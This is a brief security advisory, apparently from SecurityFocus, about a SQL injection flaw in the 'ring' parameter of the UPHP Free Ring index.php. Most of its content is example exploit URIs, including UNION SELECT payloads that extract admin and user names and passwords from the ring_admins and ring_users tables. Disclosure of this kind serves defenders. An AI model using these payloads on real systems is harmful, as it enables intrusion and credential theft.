UPHP Free Ring Index.PHP SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following example URIs are available:

http://www.example.com/index.php?ring=Sql.Inject

http://www.example.com/index.php?ring=-1/**/UNION/**/SELECT/**/0,admin_uname,admin_pass/**/FROM/**/ring_admins/*
or

http://www.example.com/index.php?ring=-1/**/UNION/**/SELECT/**/0,USER_NAME,USER_PASS,1,2,3/**/FROM/**/ring_users/*


 

Privacy Statement
Copyright 2010, SecurityFocus